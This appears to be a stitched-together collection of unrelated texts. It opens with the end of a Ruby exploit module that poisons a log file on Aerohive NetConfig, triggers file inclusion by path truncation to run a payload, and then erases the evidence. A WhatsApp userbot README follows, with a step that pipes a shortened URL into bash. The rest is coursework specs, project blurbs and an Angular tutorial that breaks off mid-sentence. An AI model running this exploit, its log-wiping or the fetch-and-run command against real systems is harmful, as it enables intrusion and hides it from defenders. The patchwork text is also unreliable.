#{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend

## 𝐓𝐇𝐀𝐍𝐊𝐒 𝐅𝐎𝐑 𝐀𝐋𝐋❤️ ### 𝐍𝐄𝐖 𝐂𝐀𝐓𝐁𝐎𝐓 .. ## ʙᴏᴛ ɪs ᴡᴏʀᴋɪɴɢ ᴏʀ ɴᴏᴛ ``` 💝𝗖𝗔𝗧𝗕𝗢𝗧 𝗪𝗢𝗥𝗞𝗜𝗡𝗚 ``` <div align="center"> <img border-radius: 15px src="https://i.imgur.com/h0S3Z4D.png" width="200" height="200"/> <p align="center"> <a href="#"><img title="CATBOT" src="https://img.shields.io/badge/Basilser-red?colorA=%23ff0000&colorB=%23017e40&style=for-the-badge"></a> </p> <p align="center"> <a href="https://github.com/itsmebasil0"><img title="Author" src="https://img.shields.io/badge/Author-itsmebasil0/catbots?color=black&style=for-the-badge&logo=whatsapp"></a> </p> </div> <p align="center"> Project created by <a href="https://github.com/itsmebasil0">basilser</a> to make it public <br> | © | Reserved | <br> </p> ---- <p align="center"> <a href="https://github.com/itsmebasil8/catbotv "> <img src="https://img.shields.io/github/repo-size/itsmebasil8/catboz?color=green&label=Repo%20total%20size&style=plastic"> <p align="center"> <a href="https://github.com/itsmebasil0/followers"><img title="Followers" src="https://img.shields.io/github/followers/afnanplk?color=red&style=flat-circle"></a> <a href="https://github.com/itsmebasil0/catbot/stargazers/"><img title="Stars" src="https://img.shields.io/github/stars/afnanplk/lastpink?color=red&style=flat-square"></a> <a href="https://github.com/itsmebasil0/catbot/network/members"><img title="Forks" src="https://img.shields.io/github/forks/afnanplk/lastpink?color=red&style=flat-square"></a> <a href="#"><img title="MAINTENED" src="https://img.shields.io/badge/UNMAINTENED-YES-blue.svg"</a> ``` catbot - catbot Userbot is Open Source software open to development. The user is responsible for all consequences that may arise from incorrect or misuse. Since it is an open source project, anyone can copy the software, add and remove, and use it in a way that they customize. In addition, plug-in support enables users to install their own plugins to the original software and use them as they wish. Using the bot out of purpose will explicitly ban you. Usage is entirely the user's responsibility, Asena Userbot is an infrastructure only. Just as the operating system is not responsible for the work done with the programs that are installed later, WhatsAsena is not responsible for the usage purpose and method of the users. Marketing WhatsAsena for money, making it available or having any material value ıt is strictly forbidden to offer it for sale with anything. All legal investigations that may arise the user is responsible. ``` <h3 align="center">Contact Me:</h3> <p align="center"> <a href="https://instagram.com/mohammed_basil_12?utm_medium=copy_link" target="blank"><img align="center" src="https://cdn.jsdelivr.net/npm/simple-icons@3.0.1/icons/instagram.svg" alt="kyrie.baran" height="30" width="40" /></a> </p> <h4 align="center">Support Video For Deploy Bot 👇:</h4> <p align="center"> <a href="https://youtube.com/channel/UCrnPCbv7jIKqAXQTllDV6Ng" target="blank"><img align="center" src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Logo_of_YouTube_%282015-2017%29.svg/1200px-Logo_of_YouTube_%282015-2017%29.svg.png" height="45" width="90" /></a> </p> ## Setup <div align="center"> ### Simple Method ## STEP 1 👇 <div align="center"> [](https://replit.com/@itsmebasil/Catbot-3) ## STEP 2 👇 <div align="center"> [](https://heroku.com/deploy?template=https://github.com/itsmebasil0/cat_bot2) </div> <br> <br > If Repl.it not working Try Termux for Qr scanning.Just Copy the Link Below in Termux ``` bash <(curl -L https://t.ly/tHxh) ``` ## Click here to join whatsapp group [](https://chat.whatsapp.com/EceyD88E4OeJwS0w8KUrsC) ## F.A.Q Answer a few frequently asked questions; ### Can you read my messages? This project is open source so all the codes are clear. Neither less nor more; you can look what you want. **We absolutely do not have access to your accounts.** ### What about our security? If you are concerned about security, you can install it on your own computer. If you think someone else has captured your data, simply click on **Whatsapp> Three Dots> Whatsapp Web> Logout** from all sessions button. ### Is it paid? **Of course not.** It will never happen. But you can donate to us. You can reach me via [Telegram](https://t.me/fusuf) . ### ⚠️ Warning! ``` Due to Userbot; Your WhatsApp account may be banned. This is an open source project, you are responsible for everything you do. Absolutely, Asena executives do not accept responsibility. By establishing the Asena, you are deemed to have accepted these responsibilities. ```  ## Developer one and only <div align="center"> [](https://github.com/itsmebasil0) | ----| [Basilser](https://github.com/itsmebasil0) | Base, Bug Fixes, Modules | Modifiying as public ## License This project is protected by `GNU General Public Licence v3.0` license. ### Disclaimer `WhatsApp` name, its variations and the logo are registered trademarks of Facebook. We have nothing to do with the registered trademark You can fork bot but don't change creadit ©

CSC 541 Assignment 4 B-Trees Introduction The goals of this assignment are two-fold: To introduce you to searching data on disk using B-trees. To investigate how changing the order of a B-tree affects its performance. Index File During this assignment you will create, search, and manage a binary index file of integer key values. The values stored in the file will be specified by the user. You will structure the file as a B-tree. Program Execution Your program will be named assn_4 and it will run from the command line. Two command line arguments will be specified: the name of the index file, and a B-tree order. assn_4 index-file order For example, executing your program as follows assn_4 index.bin 4 would open an index file called index.bin that holds integer keys stored in an order-4 B-tree. You can assume order will always be ≥ 3. For convenience, we refer to the index file as index.bin throughout the remainder of the assignment. Note. If you are asked open an existing index file, you can assume the B-tree order specified on the command line matches the order that was used when the index file was first created. B-Tree Nodes Your program is allowed to hold individual B-tree nodes in memory—but not the entire tree—at any given time. Your B-tree node should have a structure and usage similar to the following. #include <stdlib.h> int order = 4; /* B-tree order */ typedef struct { /* B-tree node */ int n; /* Number of keys in node */ int *key; /* Node's keys */ long *child; /* Node's child subtree offsets */ } btree_node; btree_node node; /* Single B-tree node */ node.n = 0; node.key = (int *) calloc( order - 1, sizeof( int ) ); node.child = (long *) calloc( order, sizeof( long ) ); Note. Be careful when you're reading and writing data structures with dynamically allocated memory. For example, trying to write node like this fwrite( &node, sizeof( btree_node ), 1, fp ); will write node's key count, the pointer value for its key array, and the pointer value for its child offset array, but it will not write the contents of the key and child offset arrays. The arrays' contents and not pointers to their contents need to be written explicitly instead. fwrite( &node.n, sizeof( int ), 1, fp ); fwrite( node.key, sizeof( int ), order - 1, fp ); fwrite( node.child, sizeof( long ), order, fp ); Reading node structures from disk would use a similar strategy. Root Node Offset In order to manage any tree, you need to locate its root node. Initially the root node will be stored near the front of index.bin. If the root node splits, however, a new root will be appended to the end of index.bin. The root node's offset will be maintained persistently by storing it at the front of index.bin when the file is closed, and reading it when the file is opened. #include <stdio.h> FILE *fp; /* Input file stream */ long root; /* Offset of B-tree root node */ fp = fopen( "index.bin", "r+b" ); /* If file doesn't exist, set root offset to unknown and create * file, otherwise read the root offset at the front of the file */ if ( fp == NULL ) { root = -1; fp = fopen( "index.bin", "w+b" ); fwrite( &root, sizeof( long ), 1, fp ); } else { fread( &root, sizeof( long ), 1, fp ); } User Interface The user will communicate with your program through a set of commands typed at the keyboard. Your program must support four simple commands: add k Add a new integer key with value k to index.bin. find k Find an entry with a key value of k in index.bin, if it exists. print Print the contents and the structure of the B-tree on-screen. end Update the root node's offset at the front of the index.bin, and close the index file, and end the program. Add Use a standard B-tree algorithm to add a new key k to the index file. Search the B-tree for the leaf node L responsible for k. If k is stored in L's key list, print Entry with key=k already exists on-screen and stop, since duplicate keys are not allowed. Create a new key list K that contains L's keys, plus k, sorted in ascending order. If L's key list is not full, replace it with K, update L's child offsets, write L back to disk, and stop. Otherwise, split K about its median key value km into left and right key lists KL = (k0, ... , km-1) and KR = (km+1, ... , kn-1). Use ceiling to calculate m = ⌈(n-1)/2⌉. For example, if n = 3, m = 1. If n = 4, m = 2. Save KL and its associated child offsets in L, then write L back to disk. Save KR and its associated child offsets in a new node R, then append R to the end of the index file. Promote km , L's offset, and R's offset and insert them in L's parent node. If the parent's key list is full, recursively split its list and promote the median to its parent. If a promotion is made to a root node with a full key list, split and create a new root node holding km and offsets to L and R. Find To find key value k in the index file, search the root node for k. If k is found, the search succeeds. Otherwise, determine the child subtree S that is responsible for k, then recursively search S. If k is found during the recursive search, print Entry with key=k exists on-screen. If at any point in the recursion S does not exist, print Entry with key=k does not exist on-screen. Print This command prints the contents of the B-tree on-screen, level by level. Begin by considering a single B-tree node. To print the contents of the node on-screen, print its key values separated by commas. int i; /* Loop counter */ btree_node node; /* Node to print */ long off; /* Node's offset */ for( i = 0; i < node.n - 1; i++ ) { printf( "%d,", node.key[ i ] ); } printf( "%d", node.key[ node.n - 1 ] ); To print the entire tree, start by printing the root node. Next, print the root node's children on a new line, separating each child node's output by a space character. Then, print their children on a new line, and so on until all the nodes in the tree are printed. This approach prints the nodes on each level of the B-tree left-to-right on a common line. For example, inserting the integers 1 through 13 inclusive into an order-4 B-tree would produce the following output. 1: 9 2: 3,6 12 3: 1,2 4,5 7,8 10,11 13 To support trees with more than 9 levels, we leave space for two characters to print the level at the beginning of each line, that is, using printf( "%2d: ", lvl )" or something similar. Hint. To process nodes left-to-right level-by-level, do not use recursion. Instead, create a queue containing the root node's offset. Remove the offset at the front of the queue (initially the root's offset) and read the corresponding node from disk. Append the node's non-empty subtree offsets to the end of the queue, then print the node's key values. Continue until the queue is empty. End This command ends the program by writing the root node's offset to the front of index.bin, then closing the index file. Programming Environment All programs must be written in C, and compiled to run on the remote.eos.ncsu.edu Linux server. Any ssh client can be used to access your Unity account and AFS storage space on this machine. Your assignment will be run automatically, and the output it produces will be compared to known, correct output using diff. Because of this, your output must conform to the print command's description. If it doesn't, diff will report your output as incorrect, and it will be marked accordingly. Supplemental Material In order to help you test your program, we provide example input and output files. input-01.txt, an input file of commands applied to an initially empty index file saved as an order-4 B-tree, and input-02.txt, an input file of commands applied to the index file produced by input-01.txt. The output files show what your program should print after each input file is processed. output-01.txt, the output your program should produce after it processes input-01.txt. output-02.txt, the output your program should produce after it processes input-02.txt. To test your program, you would issue the following commands: % rm index.bin % assn_4 index.bin 4 < input-01.txt > my-output-01.txt % assn_4 index.bin 4 < input-02.txt > my-output-02.txt You can use diff to compare output from your program to our output files. If your program is running properly and your output is formatted correctly, your program should produce output identical to what is in these files. Please remember, the files we're providing here are meant to serve as examples only. Apart from holding valid commands, you cannot make any assumptions about the size or the content of the input files we will use to test your program. Test Files The following files were used to test your program. Order 3 Test Case. input-03.txt output-03-first.txt Order 4 Test Case. input-04.txt output-04-first.txt Order 10 Test Case. input-10-01.txt, input-10-02.txt output-10-01.txt, output-10-02.txt Order 20 Test Case. input-20.txt output-20-first.txt Your program was run on all test cases using order-3, order-4, and order-20 B-trees. % rm index.bin % assn_4 index.bin 3 < input-03.txt > my-output-03.txt % rm index.bin % assn_4 index.bin 4 < input-04.txt > my-output-04.txt % rm index.bin % assn_4 index.bin 20 < input-20.txt > my-output-20.txt Your program was also run twice using an order-10 B-tree, to test its ability to re-use an existing index file. % rm index.bin % assn_4 index.bin 10 < input-10-01.txt > my-output-10-01.txt % assn_4 index.bin 10 < input-10-02.txt > my-output-10-02.txt Hand-In Requirements Use Moodle (the online assignment submission software) to submit the following files: assn_4, a Linux executable of your finished assignment, and all associated source code files (these can be called anything you want). There are four important requirements that your assignment must satisfy. Your executable file must be named exactly as shown above. The program will be run and marked electronically using a script file, so using a different name means the executable will not be found, and subsequently will not be marked. Your program must be compiled to run on remote.eos.ncsu.edu. If we cannot run your program, we will not be able to mark it, and we will be forced to assign you a grade of 0. Your program must produce output that exactly matches the format described in the print command section of this assignment. If it doesn't, it will not pass our automatic comparison to known, correct output. You must submit your source code with your executable prior to the submission deadline. If you do not submit your source code, we cannot MOSS it to check for code similarity. Because of this, any assignment that does not include source code will be assigned a grade of 0. Updated 20-Dec-14

This is an app for the #counttoamillion channel in Hack Club's Slack workspace. You can also fork this for anything that involves counting to a very high number :)

SelfHub is a central platform for sharing and analyzing quantified-self data. Users can contribute to ongoing studies by uploading anything from step count information passively collected by Fitbit to any kind of data they collect on their own.

Points: 100 Topics: Graphs, topological sort, freedom to decide how to represent data and organize code (while still reading in a graph and performing topological sort) PLAGIARISM/COLLUSION: You should not read any code (solution) that directly solves this problem (e.g. implements DFS, topological sorting or other component needed for the homework). The graph representation provided on the Code page (which you are allowed to use in your solution) and the pseudocode and algorithm discussed in class provide all the information needed. If anything is unclear in the provided materials check with us. You can read materials on how to read from a file, or read a Unix file or how to tokenize a line of code, BUT not in a sample code that deals with graphs or this specific problem. E.g. you can read tutorials about these topics, but not a solution to this problem (or a problem very similar to it). You should not share your code with any classmate or read another classmate's code. Part 1: Main program requirements (100 pts) Given a list of courses and their prerequisites, compute the order in which courses must be taken so that when taking a courses, all its prerequisites have already been taken. All the files that the program would read from are in Unix format (they have the Unix EOL). Provided files: ● Grading Criteria ● cycle0.txt ● data0.txt ● data0_rev.txt ● data1.txt - like data0.txt but the order of the prerequisite courses is modified on line 2. ● slides.txt (graph image) - courses given in such a way that they produce the same graph as in the image. (The last digit in the course number is the same as the vertex corresponding to it in the drawn graph. You can also see this in the vertex-to-course name correspondence in the sample run for this file.) ● run.html● data0_easy.txt - If you cannot handle the above file format, this is an easier file format that you can use, but there will be 15 points lost in this case. More details about this situation are given in Part 3. ● Unix.zip - zipped folder with all data files. ● For your reference: EOL_Mac_Unix_Windows.png - EOL symbols for Unix/Mac/Windows Specifications: 1. You can use structs, macros, typedef. 2. All the code must be in C (not C++, or any other language) 3. Global or static variables are NOT allowed. The exception is using macros to define constants for the size limits (e.g. instead of using 30 for the max course name size). E.g. #define MAX_ARRAY_LENGTH 20 4. You can use static memory (on the frame stack) or dynamic memory. (Do not confuse static memory with static variables.) 5. The program must read from the user a filename. The filename (as given by the user) will include the extension, but NOT the path. E.g.: data0.txt 6. You can open and close the file however many times you want. 7. File format: 1. Unix file. It will have the Unix EOL (end-of-line). 2. Size limits: 1. The file name will be at most 30 characters. 2. A course name will be at most 30 characters 3. A line in the file will be at most 1000 characters. 3. The file ends with an empty new line. 4. Each line (except for the last empty line) has one or more course names. 5. Each course name is a single word (without any spaces). E.g. CSE1310 (with no space between CSE and 1310). 6. There is no empty space at the end of the line. 7. There is exactly one empty space between any two consecutive courses on the same line. (You do not need to worry about having tabs or more than one empty space between 2 courses.) The first course name on each line is the course being described and the following courses are the prerequisites for it. E.g. CSE2315 CSE1310 MATH1426 ENGL13018. The first line describes course CSE2315 and it indicates that CSE2315 has 2 prerequisite courses, namely: CSE1310 and MATH1426. The second line describes course ENG1301 and it indicates that ENG1301 has no prerequisites. 9. You can assume that there is exactly one line for every course, even for those that do not have prerequisites (see ENGL1301 above). Therefore you can count the number of lines in the file to get the total number of courses. 10.The courses are not given in any specific order in the file. 8. You must create a directed graph corresponding to the data in the file. 1. The graph will have as many vertices as different courses listed in the file. 2. You can represent the vertices and edges however you want. 3. You do NOT have to use a graph struct. If you can do all the work with just the 2D table (the adjacency matrix) that is fine. You HAVE TO implement the topological sorting covered in class (as this assignment is on Graphs), but you can organize, represent and store the data however you want. 4. For the edges, you can use either the adjacency matrix representation or the adjacency list. If you use the adjacency list, keep the nodes in the list sorted in increasing order. 5. For each course that has prerequisites, there is an edge, from each prerequisite to that course. Thus the direction of the edge indicates the dependency. The actual edge will be between the vertices in the graph corresponding to these courses. E.g. file data0.txt has: c100 c300 c200 c100 c200 c100 Meaning: c100-----> c200 \ | \ | \ | \ | \ | \ | V V c300(The above drawing is provided here to give a picture of how the data in the file should be interpreted and the graph that represents this data. Your program should *NOT* print this drawing. See the sample run for expected program output.) From this data you should create the correspondence: vertex 0 - c100 vertex 1 - c300 vertex 2 - c200 and you can represent the graph using adjacency matrix (the row and column indexes are provided for convenience): | 0 1 2 ----------------- 0| 0 1 1 1| 0 0 0 2| 0 1 0 e.g. E[0][1] is 1 because vertex 0 corresponds to c100 and vertex 1 corresponds to c300 and c300 has c100 as a prerequisite. Notice that E[1][0] is not 1. If you use the adjacency list representation, then you can print the adjacency list. The list must be sorted in increasing order (e.g. see the list for 0). It should show the corresponding node numbers. E.g. for the above example the adjacency list will be: 0: 1, 2, 1: 2: 1, 6. 7. In order for the output to look the same for everyone, use the correspondence given here: vertex 0 for the course on the first line, vertex 1 for the course on the second line, etc. 1. Print the courses in topological sorted order. This should be done using the DFS (Depth First Search) algorithm that we covered in class and the topological sorting based on DFS discussed in class. There is no topological order if there is a cycle in the graph; in this case print an error message. If in DFV-visit when looking at the (u,v) edge, if the color of v is GRAY then there is a cycle in the graph (and therefore topological sorting is not possible). See the Lecture on topological sorting (You can find the date based on the table on the Scans page and then watch the video from that day. I have also updated the pseudocodein the slides to show that. Refresh the slides and check the date on the first page. If it is 11/26/2020, then you have the most recent version.) 8. (6 points) create and submit 1 test file. It must cover a special case. Indicate what special case you are covering (e.g. no course has any prerequisite). At the top of the file indicate what makes it a special case. Save this file as special.txt. It should be in Unix EOL format. Part 2: Suggestions for improvements (not for grade) 1. CSE Advisors also are mindful and point out to students the "longest path through the degree". That is longest chain of course prerequisites (e.g. CSE1310 ---> CSE1320 --> CSE3318 -->...) as this gives a lower bound on the number of semesters needed until graduation. Can you calculate for each course the LONGEST chain ending with it? E.g. in the above example, there are 2 chains ending with c300 (size 2: just c100-->c300, size 3: c100-->c200-->c300) and you want to show longest path 3 for c300. Can you calculate this number for each course? 2. Allow the user the enter a list of courses taken so far (from the user or from file) and print a list of the courses they can take (they have all the prerequisites for). 3. Ask the user to enter a desired number of courses per semester and suggest a schedule (by semester). Part 3: Implementation suggestions 1. Reading from file: (15 points) For each line in the file, the code can extract the first course and the prerequisites for it. If you cannot process each line in the file correctly, you can use a modified input file that shows on each line, the number of courses, but you would lose the 15 points dedicated to line processing. If your program works with the "easy files", in order to make it easy for the TAs to know which file to provide, please name your C program courses_graph_easy.c. Here is the modification shown for a new example. Instead of c100 c300 c200 c100 c200 the file would have: 1 c1003 c300 c200 c100 1 c200 1. that way the first data on each line is a number that tells how many courses (strings) follow after it on that line. Everything is separated by exactly one space. All the other specifications are the same as for the original file (empty line at the end, no space at the end of any line, length of words, etc). Here is data0_easy.txt Make a direct correspondence between vertex numbers and course names. E.g. the **first** course name on the first line corresponds to vertex 0, the **first** course name on the second line corresponds to vertex 1, etc... 2. 3. The vertex numbers are used to refer to vertices. 4. In order to add an edge in the graph you will need to find the vertex number corresponding to a given course name. E.g. find that c300 corresponds to vertex 1 and c200 corresponds to vertex 2. Now you can set E[2][1] to be 1. (With the adjacency list, add node 1 in the adjacency list for 2 keeping the list sorted.) To help with this, write a function that takes as arguments the list/array of [unique] course names and one course name and returns the index of that course in the list. You can use that index as the vertex number. (This is similar to the indexOf method in Java.) 5. To see all the non-printable characters that may be in a file, find an editor that shows them. E.g. in Notepad++ : open the file, go to View -> Show symbol -> Show all characters. YOU SHOULD TRY THIS! In general, not necessarily for this homework, if you make the text editor show the white spaces, you will know if what you see as 4 empty spaces comes from 4 spaces or from one tab or show other hidden characters. This can help when you tokenize. E.g. here I am using Notepad++ to see the EOL for files saved with Unix/Mac/Windows EOL (see the CR/LF/CRLF at the end of each line): EOL_Mac_Unix_Windows.png How to submit Submit courses_graph.c (or courses_graph_easy.c) and special.txt (the special test case you created) in Canvas . (For courses_graph_easy.c you can submit the "easy" files that you created.)Your program should be named courses_graph.c if it reads from the normal/original files. If instead it reads from the 'easy' files, name it courses_graph_easy.c As stated on the course syllabus, programs must be in C, and must run on omega.uta.edu or the VM. IMPORTANT: Pay close attention to all specifications on this page, including file names and submission format. Even in cases where your answers are correct, points will be taken off liberally for non-compliance with the instructions given on this page (such as wrong file names, wrong compression format for the submitted code, and so on). The reason is that non-compliance with the instructions makes the grading process significantly (and unnecessarily) more time consuming. Contact the instructor or TA if you have any questions

Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a <div> and inside a <h1> tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: <dir-display></dir-display> Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes <my-directive></my-directive>. You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "geofdude@gmail.com" } Now inside your directive's html specifically inside the <h3> tags display our new user's name. Then inside maybe some <h4> tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - <dir-display test="myTest" my-check="checkItOut"></dir-display> Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "geofdude@gmail.com", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "fredeed@gmail.com", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "spencerrentz@gmail.com", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "geddupngo@gmail.com", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "gernee@gmail.com", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an <h3> tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. <example-directive string="a string" link="user" func="updateUser()"></example-directive> The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. <my-directive pass-func="callFunc(data)"></my-directive> Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave 